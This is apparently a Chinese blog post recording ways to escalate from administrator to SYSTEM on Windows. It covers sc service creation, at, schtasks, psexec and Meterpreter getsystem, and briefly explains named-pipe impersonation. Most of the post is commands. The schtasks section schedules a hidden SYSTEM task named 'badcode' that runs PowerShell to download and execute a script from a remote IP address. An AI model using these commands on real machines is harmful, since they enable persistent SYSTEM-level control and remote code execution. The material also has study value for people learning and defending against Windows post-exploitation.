从administrator到system权限的几种方式

柔光的暖阳◎ 2022-12-31 04:21 11阅读 0赞

### 文章目录 ###

*  前言
 *  1. 通过sc命令(只适用于win xp)
 *  2. 通过计划任务命令(win7-win10)
 *   *  2.1 通过at命令实现(只适用于win7)
     *  2.2 通过schtasks实现(win7-win10)
 *  3. 通过psexec
 *  4. Meterpreter
 *  参考文章

# 前言 #

对windows中从admin到system权限到方法做一个小的记录。主要参考了三好学生的博客，[三好学生博客地址][Link 1]。  
`以下利用方式的前提是已经获取了计算机的administrator权限。`

# 1. 通过sc命令(只适用于win xp) #

> 以system权限启动notepad

sc Create badcode binPath= "cmd /c notepad.exe" type= own type= interact
    sc start badcode

# 2. 通过计划任务命令(win7-win10) #

计划任务有两种命令，at与schtasks。

## 2.1 通过at命令实现(只适用于win7) ##

> 以system权限在早晨7.50分启动notepad

at 7:50 notepad.exe

## 2.2 通过schtasks实现(win7-win10) ##

> 以system权限在每天早晨7.50分启动notepad

schtasks /Create /TN badcode /SC DAILY /ST 07:50 /TR "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\\\"http://172.16.250.3:802/a\\\"))\"" /RU SYSTEM
    schtasks /run /tn badcode
    schtasks /Query /TN badcode
    schtasks /Delete /TN badcode /F

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 1]

# 3. 通过psexec #

\#隐藏打开的notepad的窗口。

psexec.exe -accepteula -s -d notepad.exe

\#以交互式的形式打开notepad

psexec.exe -accepteula -s -i notepad.exe

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 2]

# 4. Meterpreter #

获得administrator权限后直接使用getsystem命令即可获得system权限。

简单点说实现的原理是windows中倘若程序A创建了一个服务并提供了命名管道，然后system权限的服务B在链接此命名管道的时候程序A就能利用`ImpersonateNamedPipeClient()`函数来获得system权限。

详细的细节可以参考：  
[getsystem命令原理][getsystem]

# 参考文章 #

[三好学生博客地址][Link 1]  
[玩转计划任务][Link 2]  
[Windows-schtasks命令中的单引号][Windows-schtasks]  
[getsystem命令原理][getsystem]

[Link 1]: https://3gstudent.github.io/
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70]: /images/20221120/d9ccbecfd759439e91834a8b6479536b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 1]: https://img-blog.csdnimg.cn/20201228131048514.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 2]: https://img-blog.csdnimg.cn/20201228152028767.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw,size_16,color_FFFFFF,t_70
[getsystem]: https://shanfenglan.blog.csdn.net/article/details/110001596
[Link 2]: https://blog.csdn.net/flyingleo1981/article/details/54405821
[Windows-schtasks]: https://www.coder.work/article/562756